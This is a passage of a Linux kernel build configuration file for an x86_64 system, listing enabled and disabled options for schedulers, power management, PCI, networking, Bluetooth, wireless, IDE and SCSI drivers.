CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_FASTBOOT=y
CONFIG_SYSCTL=y
# CONFIG_EMBEDDED is not set
CONFIG_UID16=y
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_PCSPKR_PLATFORM=y
CONFIG_COMPAT_BRK=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_ANON_INODES=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
# CONFIG_SLAB is not set
CONFIG_SLUB=y
# CONFIG_SLOB is not set
CONFIG_PROFILING=y
CONFIG_TRACEPOINTS=y
CONFIG_MARKERS=y
CONFIG_OPROFILE=y
# CONFIG_OPROFILE_IBS is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y
CONFIG_HAVE_IOREMAP_PROT=y
CONFIG_HAVE_KPROBES=y
CONFIG_HAVE_KRETPROBES=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
# CONFIG_HAVE_DMA_ATTRS is not set
CONFIG_USE_GENERIC_SMP_HELPERS=y
# CONFIG_HAVE_CLK is not set
CONFIG_HAVE_DYN_ARRAY=y
CONFIG_PROC_PAGE_MONITOR=y
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
# CONFIG_TINY_SHMEM is not set
CONFIG_BASE_SMALL=0
# CONFIG_MODULES is not set
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_IO_TRACE=y
CONFIG_BLK_DEV_INTEGRITY=y
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
# CONFIG_IOSCHED_AS is not set
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_PREEMPT_NOTIFIERS=y
CONFIG_CLASSIC_RCU=y

#
# Processor type and features
#
CONFIG_TICK_ONESHOT=y
CONFIG_NO_HZ=y
CONFIG_BOOTPARAM_NO_HZ_OFF=y
CONFIG_HIGH_RES_TIMERS=y
CONFIG_GENERIC_CLOCKEVENTS_BUILD=y
# CONFIG_BOOTPARAM_HIGHRES_OFF is not set
CONFIG_SMP_SUPPORT=y
# CONFIG_HAVE_SPARSE_IRQ is not set
# CONFIG_X86_MPPARSE is not set
CONFIG_UP_WANTED_1=y
CONFIG_UP_WANTED_2=y
# CONFIG_UP_WANTED is not set
CONFIG_SMP=y
CONFIG_X86_PC=y
# CONFIG_X86_ELAN is not set
# CONFIG_X86_VOYAGER is not set
# CONFIG_X86_GENERICARCH is not set
# CONFIG_X86_VSMP is not set
# CONFIG_PARAVIRT_GUEST is not set
CONFIG_MEMTEST=y
# CONFIG_M386 is not set
# CONFIG_M486 is not set
# CONFIG_M586 is not set
# CONFIG_M586TSC is not set
# CONFIG_M586MMX is not set
# CONFIG_M686 is not set
# CONFIG_MPENTIUMII is not set
# CONFIG_MPENTIUMIII is not set
# CONFIG_MPENTIUMM is not set
# CONFIG_MPENTIUM4 is not set
# CONFIG_MK6 is not set
# CONFIG_MK7 is not set
# CONFIG_MK8 is not set
# CONFIG_MCRUSOE is not set
# CONFIG_MEFFICEON is not set
# CONFIG_MWINCHIPC6 is not set
# CONFIG_MWINCHIP2 is not set
# CONFIG_MWINCHIP3D is not set
# CONFIG_MGEODEGX1 is not set
# CONFIG_MGEODE_LX is not set
# CONFIG_MCYRIXIII is not set
# CONFIG_MVIAC3_2 is not set
# CONFIG_MVIAC7 is not set
# CONFIG_MPSC is not set
# CONFIG_MCORE2 is not set
CONFIG_GENERIC_CPU=y
CONFIG_X86_CPU=y
CONFIG_X86_L1_CACHE_BYTES=128
CONFIG_X86_INTERNODE_CACHE_BYTES=128
CONFIG_X86_CMPXCHG=y
CONFIG_X86_L1_CACHE_SHIFT=7
CONFIG_X86_WP_WORKS_OK=y
CONFIG_X86_TSC=y
CONFIG_X86_CMPXCHG64=y
CONFIG_X86_CMOV=y
CONFIG_X86_MINIMUM_CPU_FAMILY=64
CONFIG_X86_DEBUGCTLMSR=y
CONFIG_PROCESSOR_SELECT=y
CONFIG_CPU_SUP_INTEL=y
CONFIG_CPU_SUP_AMD=y
CONFIG_CPU_SUP_CENTAUR_64=y
# CONFIG_X86_DS is not set
CONFIG_HPET_TIMER=y
CONFIG_HPET_EMULATE_RTC=y
CONFIG_DMI=y
CONFIG_GART_IOMMU=y
CONFIG_AMD_IOMMU=y
CONFIG_SWIOTLB=y
CONFIG_IOMMU_HELPER=y
CONFIG_NR_CPUS=8
CONFIG_SCHED_SMT=y
CONFIG_SCHED_MC=y
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_X86_LOCAL_APIC=y
CONFIG_X86_IO_APIC=y
# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set
CONFIG_X86_MCE=y
CONFIG_X86_MCE_INTEL=y
CONFIG_X86_MCE_AMD=y
CONFIG_I8K=y
CONFIG_MICROCODE=y
CONFIG_MICROCODE_INTEL=y
CONFIG_MICROCODE_AMD=y
CONFIG_MICROCODE_OLD_INTERFACE=y
CONFIG_X86_MSR=y
# CONFIG_X86_CPUID is not set
CONFIG_ARCH_PHYS_ADDR_T_64BIT=y
CONFIG_NUMA=y
CONFIG_K8_NUMA=y
CONFIG_X86_64_ACPI_NUMA=y
CONFIG_NODES_SPAN_OTHER_NODES=y
CONFIG_NUMA_EMU=y
CONFIG_NODES_SHIFT=6
CONFIG_ARCH_SPARSEMEM_DEFAULT=y
CONFIG_ARCH_SPARSEMEM_ENABLE=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
# CONFIG_DISCONTIGMEM_MANUAL is not set
CONFIG_SPARSEMEM_MANUAL=y
CONFIG_SPARSEMEM=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_HAVE_MEMORY_PRESENT=y
# CONFIG_SPARSEMEM_STATIC is not set
CONFIG_SPARSEMEM_EXTREME=y
CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y
# CONFIG_SPARSEMEM_VMEMMAP is not set

#
# Memory hotplug is currently incompatible with Software Suspend
#
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_MIGRATION=y
CONFIG_RESOURCES_64BIT=y
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=1
CONFIG_BOUNCE=y
CONFIG_VIRT_TO_BUS=y
CONFIG_MMU_NOTIFIER=y
# CONFIG_X86_CHECK_BIOS_CORRUPTION is not set
CONFIG_X86_RESERVE_LOW_64K=y
CONFIG_MTRR=y
CONFIG_MTRR_SANITIZER=y
CONFIG_MTRR_SANITIZER_ENABLE_DEFAULT=0
CONFIG_MTRR_SANITIZER_SPARE_REG_NR_DEFAULT=1
CONFIG_X86_PAT=y
CONFIG_EFI=y
CONFIG_SECCOMP=y
CONFIG_CC_STACKPROTECTOR_ALL=y
CONFIG_CC_STACKPROTECTOR=y
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
CONFIG_SCHED_HRTICK=y
CONFIG_KEXEC=y
CONFIG_CRASH_DUMP=y
CONFIG_PHYSICAL_START=0x200000
CONFIG_PHYSICAL_ALIGN=0x200000
CONFIG_HOTPLUG_CPU=y
# CONFIG_COMPAT_VDSO is not set
# CONFIG_CMDLINE_BOOL is not set
CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y
CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID=y

#
# Power management options
#
CONFIG_ARCH_HIBERNATION_HEADER=y
CONFIG_PM=y
# CONFIG_PM_DEBUG is not set
CONFIG_PM_SLEEP_SMP=y
CONFIG_PM_SLEEP=y
# CONFIG_SUSPEND is not set
CONFIG_HIBERNATION=y
CONFIG_PM_STD_PARTITION=""
CONFIG_ACPI=y
CONFIG_ACPI_SLEEP=y
CONFIG_ACPI_PROCFS=y
CONFIG_ACPI_PROCFS_POWER=y
# CONFIG_ACPI_SYSFS_POWER is not set
# CONFIG_ACPI_PROC_EVENT is not set
CONFIG_ACPI_AC=y
CONFIG_ACPI_BATTERY=y
CONFIG_ACPI_BUTTON=y
CONFIG_ACPI_VIDEO=y
CONFIG_ACPI_FAN=y
CONFIG_ACPI_PROCESSOR=y
CONFIG_ACPI_HOTPLUG_CPU=y
CONFIG_ACPI_THERMAL=y
CONFIG_ACPI_NUMA=y
# CONFIG_ACPI_ASUS is not set
CONFIG_ACPI_TOSHIBA=y
# CONFIG_ACPI_CUSTOM_DSDT is not set
CONFIG_ACPI_BLACKLIST_YEAR=0
# CONFIG_ACPI_DEBUG is not set
CONFIG_ACPI_EC=y
CONFIG_ACPI_PCI_SLOT=y
CONFIG_ACPI_POWER=y
CONFIG_ACPI_SYSTEM=y
CONFIG_X86_PM_TIMER=y
CONFIG_ACPI_CONTAINER=y
CONFIG_ACPI_SBS=y

#
# CPU Frequency scaling
#
CONFIG_CPU_FREQ=y
CONFIG_CPU_FREQ_TABLE=y
# CONFIG_CPU_FREQ_DEBUG is not set
CONFIG_CPU_FREQ_STAT=y
CONFIG_CPU_FREQ_STAT_DETAILS=y
CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y
# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set
CONFIG_CPU_FREQ_GOV_PERFORMANCE=y
# CONFIG_CPU_FREQ_GOV_POWERSAVE is not set
# CONFIG_CPU_FREQ_GOV_USERSPACE is not set
CONFIG_CPU_FREQ_GOV_ONDEMAND=y
# CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set

#
# CPUFreq processor drivers
#
# CONFIG_X86_ACPI_CPUFREQ is not set
CONFIG_X86_POWERNOW_K8=y
CONFIG_X86_POWERNOW_K8_ACPI=y
# CONFIG_X86_SPEEDSTEP_CENTRINO is not set
# CONFIG_X86_P4_CLOCKMOD is not set

#
# shared options
#
CONFIG_X86_ACPI_CPUFREQ_PROC_INTF=y
# CONFIG_X86_SPEEDSTEP_LIB is not set
CONFIG_CPU_IDLE=y
CONFIG_CPU_IDLE_GOV_LADDER=y
CONFIG_CPU_IDLE_GOV_MENU=y
# CONFIG_BOOTPARAM_NMI_WATCHDOG_BIT_0 is not set
CONFIG_BOOTPARAM_NMI_WATCHDOG_BIT_1=y
CONFIG_BOOTPARAM_NOLAPIC_TIMER=y
CONFIG_BOOTPARAM_LAPIC=y
# CONFIG_BOOTPARAM_HPET_DISABLE is not set
CONFIG_BOOTPARAM_IDLE_MWAIT=y
CONFIG_BOOTPARAM_IDLE_POLL=y
CONFIG_BOOTPARAM_HIGHMEM_512M=y
CONFIG_BOOTPARAM_NOPAT=y
CONFIG_BOOTPARAM_NOTSC=y
# CONFIG_BOOTPARAM_PCI_NOACPI is not set
CONFIG_BOOTPARAM_PCI_NOMSI=y

#
# Bus options (PCI etc.)
#
CONFIG_PCI=y
CONFIG_PCI_DIRECT=y
CONFIG_PCI_MMCONFIG=y
CONFIG_PCI_DOMAINS=y
# CONFIG_PCIEPORTBUS is not set
CONFIG_ARCH_SUPPORTS_MSI=y
CONFIG_PCI_MSI=y
CONFIG_PCI_LEGACY=y
CONFIG_PCI_DEBUG=y
# CONFIG_HT_IRQ is not set
CONFIG_ISA_DMA_API=y
CONFIG_K8_NB=y
CONFIG_PCCARD=y
CONFIG_PCMCIA_DEBUG=y
CONFIG_PCMCIA=y
CONFIG_PCMCIA_IOCTL=y
CONFIG_CARDBUS=y

#
# PC-card bridges
#
CONFIG_YENTA=y
CONFIG_YENTA_O2=y
CONFIG_YENTA_RICOH=y
CONFIG_YENTA_TI=y
CONFIG_YENTA_ENE_TUNE=y
CONFIG_YENTA_TOSHIBA=y
# CONFIG_PD6729 is not set
CONFIG_I82092=y
CONFIG_PCCARD_NONSTATIC=y
CONFIG_HOTPLUG_PCI=y
# CONFIG_HOTPLUG_PCI_FAKE is not set
# CONFIG_HOTPLUG_PCI_ACPI is not set
# CONFIG_HOTPLUG_PCI_CPCI is not set
CONFIG_HOTPLUG_PCI_SHPC=y

#
# Executable file formats / Emulations
#
# CONFIG_BINFMT_ELF is not set
CONFIG_COMPAT_BINFMT_ELF=y
# CONFIG_BINFMT_MISC is not set
CONFIG_IA32_EMULATION=y
# CONFIG_IA32_AOUT is not set
CONFIG_COMPAT=y
CONFIG_COMPAT_FOR_U64_ALIGNMENT=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_MMAP is not set
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_NET_KEY=y
# CONFIG_INET is not set
CONFIG_NETWORK_SECMARK=y
# CONFIG_NETFILTER is not set
# CONFIG_ATM is not set
CONFIG_STP=y
CONFIG_GARP=y
CONFIG_BRIDGE=y
CONFIG_VLAN_8021Q=y
CONFIG_VLAN_8021Q_GVRP=y
# CONFIG_DECNET is not set
CONFIG_LLC=y
CONFIG_LLC2=y
CONFIG_IPX=y
# CONFIG_IPX_INTERN is not set
CONFIG_ATALK=y
CONFIG_DEV_APPLETALK=y
CONFIG_IPDDP=y
CONFIG_IPDDP_ENCAP=y
# CONFIG_IPDDP_DECAP is not set
# CONFIG_NET_SCHED is not set

#
# Network testing
#
CONFIG_NET_PKTGEN=y
# CONFIG_HAMRADIO is not set
CONFIG_CAN=y
CONFIG_CAN_RAW=y
# CONFIG_CAN_BCM is not set

#
# CAN Device Drivers
#
CONFIG_CAN_VCAN=y
# CONFIG_CAN_DEBUG_DEVICES is not set
# CONFIG_IRDA is not set
CONFIG_BT=y
CONFIG_BT_L2CAP=y
CONFIG_BT_SCO=y
# CONFIG_BT_RFCOMM is not set
CONFIG_BT_BNEP=y
CONFIG_BT_BNEP_MC_FILTER=y
# CONFIG_BT_BNEP_PROTO_FILTER is not set
CONFIG_BT_HIDP=y

#
# Bluetooth device drivers
#
CONFIG_BT_HCIBTUSB=y
CONFIG_BT_HCIBTSDIO=y
CONFIG_BT_HCIUART=y
CONFIG_BT_HCIUART_H4=y
CONFIG_BT_HCIUART_BCSP=y
CONFIG_BT_HCIUART_LL=y
# CONFIG_BT_HCIBCM203X is not set
CONFIG_BT_HCIBPA10X=y
# CONFIG_BT_HCIBFUSB is not set
CONFIG_BT_HCIDTL1=y
# CONFIG_BT_HCIBT3C is not set
# CONFIG_BT_HCIBLUECARD is not set
# CONFIG_BT_HCIBTUART is not set
# CONFIG_BT_HCIVHCI is not set

#
# Wireless
#
CONFIG_CFG80211=y
# CONFIG_NL80211 is not set
CONFIG_WIRELESS_EXT=y
CONFIG_WIRELESS_EXT_SYSFS=y
CONFIG_MAC80211=y

#
# Rate control algorithm selection
#
CONFIG_MAC80211_RC_PID=y
CONFIG_MAC80211_RC_DEFAULT_PID=y
CONFIG_MAC80211_RC_DEFAULT="pid"
CONFIG_MAC80211_LEDS=y
# CONFIG_MAC80211_DEBUGFS is not set
CONFIG_MAC80211_DEBUG_MENU=y
CONFIG_MAC80211_DEBUG_PACKET_ALIGNMENT=y
CONFIG_MAC80211_NOINLINE=y
# CONFIG_MAC80211_VERBOSE_DEBUG is not set
CONFIG_MAC80211_HT_DEBUG=y
CONFIG_MAC80211_TKIP_DEBUG=y
# CONFIG_MAC80211_IBSS_DEBUG is not set
# CONFIG_MAC80211_VERBOSE_PS_DEBUG is not set
# CONFIG_MAC80211_LOWTX_FRAME_DUMP is not set
# CONFIG_MAC80211_VERBOSE_SPECT_MGMT_DEBUG is not set
CONFIG_IEEE80211=y
# CONFIG_IEEE80211_DEBUG is not set
CONFIG_IEEE80211_CRYPT_WEP=y
CONFIG_IEEE80211_CRYPT_CCMP=y
CONFIG_IEEE80211_CRYPT_TKIP=y
CONFIG_RFKILL=y
# CONFIG_RFKILL_INPUT is not set
CONFIG_RFKILL_LEDS=y

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
CONFIG_CONNECTOR=y
CONFIG_PROC_EVENTS=y
# CONFIG_MTD is not set
CONFIG_PARPORT=y
CONFIG_PARPORT_PC=y
CONFIG_PARPORT_SERIAL=y
CONFIG_PARPORT_PC_PCMCIA=y
# CONFIG_PARPORT_GSC is not set
CONFIG_PARPORT_AX88796=y
CONFIG_PARPORT_1284=y
CONFIG_PARPORT_NOT_PC=y
CONFIG_PNP=y
CONFIG_PNP_DEBUG=y

#
# Protocols
#
CONFIG_PNPACPI=y
CONFIG_BLK_DEV=y
# CONFIG_BLK_DEV_FD is not set
CONFIG_PARIDE=y

#
# Parallel IDE high-level drivers
#
CONFIG_PARIDE_PD=y
# CONFIG_PARIDE_PCD is not set
CONFIG_PARIDE_PF=y
# CONFIG_PARIDE_PT is not set
CONFIG_PARIDE_PG=y

#
# Parallel IDE protocol modules
#
CONFIG_PARIDE_ATEN=y
CONFIG_PARIDE_BPCK=y
CONFIG_PARIDE_COMM=y
CONFIG_PARIDE_DSTR=y
CONFIG_PARIDE_FIT2=y
CONFIG_PARIDE_FIT3=y
CONFIG_PARIDE_EPAT=y
CONFIG_PARIDE_EPIA=y
# CONFIG_PARIDE_FRIQ is not set
CONFIG_PARIDE_FRPW=y
CONFIG_PARIDE_KBIC=y
CONFIG_PARIDE_KTTI=y
CONFIG_PARIDE_ON20=y
CONFIG_PARIDE_ON26=y
CONFIG_BLK_CPQ_DA=y
CONFIG_BLK_CPQ_CISS_DA=y
CONFIG_CISS_SCSI_TAPE=y
CONFIG_BLK_DEV_DAC960=y
# CONFIG_BLK_DEV_COW_COMMON is not set
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_SX8=y
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=4096
# CONFIG_BLK_DEV_XIP is not set
CONFIG_CDROM_PKTCDVD=y
CONFIG_CDROM_PKTCDVD_BUFFERS=8
CONFIG_ATA_OVER_ETH=y
CONFIG_BLK_DEV_HD=y
# CONFIG_MISC_DEVICES is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=y
CONFIG_BLK_DEV_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_TIMINGS=y
CONFIG_IDE_ATAPI=y
CONFIG_BLK_DEV_IDE_SATA=y
CONFIG_BLK_DEV_IDEDISK=y
CONFIG_IDEDISK_MULTI_MODE=y
# CONFIG_BLK_DEV_IDECS is not set
# CONFIG_BLK_DEV_DELKIN is not set
CONFIG_BLK_DEV_IDECD=y
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
CONFIG_BLK_DEV_IDETAPE=y
# CONFIG_BLK_DEV_IDEFLOPPY is not set
CONFIG_BLK_DEV_IDESCSI=y
CONFIG_BLK_DEV_IDEACPI=y
CONFIG_IDE_TASK_IOCTL=y
# CONFIG_IDE_PROC_FS is not set

#
# IDE chipset support/bugfixes
#
CONFIG_IDE_GENERIC=y
CONFIG_BLK_DEV_PLATFORM=y
# CONFIG_BLK_DEV_CMD640 is not set
CONFIG_BLK_DEV_IDEPNP=y
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_IDEPCI_PCIBUS_ORDER is not set
CONFIG_BLK_DEV_OFFBOARD=y
CONFIG_BLK_DEV_GENERIC=y
CONFIG_BLK_DEV_RZ1000=y
CONFIG_BLK_DEV_IDEDMA_PCI=y
CONFIG_BLK_DEV_AEC62XX=y
CONFIG_BLK_DEV_ALI15X3=y
CONFIG_BLK_DEV_AMD74XX=y
CONFIG_BLK_DEV_ATIIXP=y
CONFIG_BLK_DEV_CMD64X=y
CONFIG_BLK_DEV_TRIFLEX=y
CONFIG_BLK_DEV_CS5530=y
CONFIG_BLK_DEV_HPT366=y
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
CONFIG_BLK_DEV_PIIX=y
CONFIG_BLK_DEV_IT8213=y
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=y
CONFIG_BLK_DEV_PDC202XX_OLD=y
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
CONFIG_BLK_DEV_SVWKS=y
CONFIG_BLK_DEV_SIIMAGE=y
# CONFIG_BLK_DEV_SIS5513 is not set
CONFIG_BLK_DEV_SLC90E66=y
CONFIG_BLK_DEV_TRM290=y
CONFIG_BLK_DEV_VIA82CXXX=y
CONFIG_BLK_DEV_TC86C001=y
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
CONFIG_CHR_DEV_OSST=y
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
# CONFIG_CHR_DEV_SG is not set
# CONFIG_CHR_DEV_SCH is not set

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_MULTI_LUN is not set
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
CONFIG_SCSI_FC_ATTRS=y
CONFIG_SCSI_ISCSI_ATTRS=y
CONFIG_SCSI_SAS_ATTRS=y
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
CONFIG_SCSI_AACRAID=y
# CONFIG_SCSI_AIC7XXX is not set
CONFIG_SCSI_AIC7XXX_OLD=y
# CONFIG_SCSI_AIC79XX is not set
CONFIG_SCSI_DPT_I2O=y
CONFIG_SCSI_ADVANSYS=y
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
CONFIG_MEGARAID_LEGACY=y
# CONFIG_MEGARAID_SAS is not set
CONFIG_SCSI_HPTIOP=y
CONFIG_SCSI_BUSLOGIC=y
CONFIG_SCSI_DMX3191D=y
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
CONFIG_SCSI_GDTH=y
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
CONFIG_SCSI_INIA100=y
# CONFIG_SCSI_PPA is not set
CONFIG_SCSI_IMM=y
CONFIG_SCSI_IZIP_EPP16=y
# CONFIG_SCSI_IZIP_SLOW_CTR is not set
CONFIG_SCSI_STEX=y
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
# CONFIG_SCSI_SYM53C8XX_MMIO is not set
CONFIG_SCSI_IPR=y
# CONFIG_SCSI_IPR_TRACE is not set
CONFIG_SCSI_IPR_DUMP=y
CONFIG_SCSI_QLOGIC_1280=y
# CONFIG_SCSI_QLA_FC is not set
CONFIG_SCSI_QLA_ISCSI=y
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_SRP is not set
CONFIG_SCSI_LOWLEVEL_PCMCIA=y
# CONFIG_SCSI_DH is not set
CONFIG_ATA=y
# CONFIG_ATA_NONSTANDARD is not set
# CONFIG_ATA_ACPI is not set
CONFIG_SATA_PMP=y
CONFIG_SATA_AHCI=y
CONFIG_SATA_SIL24=y
# CONFIG_ATA_SFF is not set
# CONFIG_MD is not set
CONFIG_FUSION=y
CONFIG_FUSION_SPI=y
CONFIG_FUSION_FC=y
CONFIG_FUSION_SAS=y
CONFIG_FUSION_MAX_SGE=128
# CONFIG_FUSION_CTL is not set
CONFIG_FUSION_LAN=y
# CONFIG_FUSION_LOGGING is not set

#
# IEEE 1394 (FireWire) support
#

#
# A new alternative FireWire stack is available with EXPERIMENTAL=y
#
CONFIG_IEEE1394=y
# CONFIG_IEEE1394_OHCI1394 is not set
CONFIG_IEEE1394_PCILYNX=y
CONFIG_IEEE1394_SBP2=y
# CONFIG_IEEE1394_ETH1394_ROM_ENTRY is not set
CONFIG_IEEE1394_RAWIO=y
# CONFIG_IEEE1394_VERBOSEDEBUG is not set
CONFIG_I2O=y
CONFIG_I2O_LCT_NOTIFY_ON_CHANGES=y
# CONFIG_I2O_EXT_ADAPTEC is not set
CONFIG_I2O_CONFIG=y
CONFIG_I2O_CONFIG_OLD_IOCTL=y
CONFIG_I2O_BUS=y
CONFIG_I2O_BLOCK=y
CONFIG_I2O_SCSI=y
CONFIG_I2O_PROC=y
CONFIG_MACINTOSH_DRIVERS=y
# CONFIG_MAC_EMUMOUSEBTN is not set
CONFIG_NETDEVICES=y
# CONFIG_DUMMY is not set
CONFIG_EQUALIZER=y
CONFIG_TUN=y
# CONFIG_VETH is not set
# CONFIG_NET_SB1000 is not set
# CONFIG_ARCNET is not set
# CONFIG_NET_ETHERNET is not set
CONFIG_MII=y
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set

#
# Wireless LAN
#
# CONFIG_WLAN_PRE80211 is not set
CONFIG_WLAN_80211=y
CONFIG_PCMCIA_RAYCS=y
CONFIG_IPW2100=y
CONFIG_IPW2100_MONITOR=y
CONFIG_IPW2100_DEBUG=y
CONFIG_IPW2200=y
CONFIG_IPW2200_MONITOR=y
CONFIG_IPW2200_RADIOTAP=y
CONFIG_IPW2200_PROMISCUOUS=y
# CONFIG_IPW2200_DEBUG is not set
CONFIG_LIBERTAS=y
CONFIG_LIBERTAS_USB=y
# CONFIG_LIBERTAS_CS is not set
CONFIG_LIBERTAS_SDIO=y
# CONFIG_LIBERTAS_DEBUG is not set
CONFIG_AIRO=y
CONFIG_HERMES=y
# CONFIG_PLX_HERMES is not set
CONFIG_TMD_HERMES=y
CONFIG_NORTEL_HERMES=y
# CONFIG_PCI_HERMES is not set
# CONFIG_PCMCIA_HERMES is not set
# CONFIG_PCMCIA_SPECTRUM is not set
CONFIG_ATMEL=y
CONFIG_PCI_ATMEL=y
CONFIG_PCMCIA_ATMEL=y
CONFIG_AIRO_CS=y
# CONFIG_USB_ZD1201 is not set
CONFIG_MAC80211_HWSIM=y
# CONFIG_ATH9K is not set
# CONFIG_IWLWIFI_LEDS is not set
# CONFIG_HOSTAP is not set
# CONFIG_B43 is not set
CONFIG_B43LEGACY=y
CONFIG_B43LEGACY_PCI_AUTOSELECT=y
CONFIG_B43LEGACY_PCICORE_AUTOSELECT=y
CONFIG_B43LEGACY_LEDS=y
CONFIG_B43LEGACY_DEBUG=y
CONFIG_B43LEGACY_DMA=y
CONFIG_B43LEGACY_PIO=y
CONFIG_B43LEGACY_DMA_AND_PIO_MODE=y
# CONFIG_B43LEGACY_DMA_MODE is not set
# CONFIG_B43LEGACY_PIO_MODE is not set

#
# USB Network Adapters
#
# CONFIG_USB_KAWETH is not set
CONFIG_USB_PEGASUS=y
# CONFIG_USB_USBNET is not set
CONFIG_USB_HSO=y
CONFIG_NET_PCMCIA=y
CONFIG_PCMCIA_3C589=y
CONFIG_PCMCIA_3C574=y
CONFIG_PCMCIA_FMVJ18X=y
CONFIG_PCMCIA_PCNET=y
# CONFIG_PCMCIA_NMCLAN is not set
CONFIG_PCMCIA_SMC91C92=y
CONFIG_PCMCIA_XIRC2PS=y
CONFIG_PCMCIA_AXNET=y
CONFIG_WAN=y
# CONFIG_HDLC is not set
CONFIG_DLCI=y
CONFIG_DLCI_MAX=8
# CONFIG_SBNI is not set
CONFIG_FDDI=y
# CONFIG_DEFXX is not set
# CONFIG_SKFP is not set
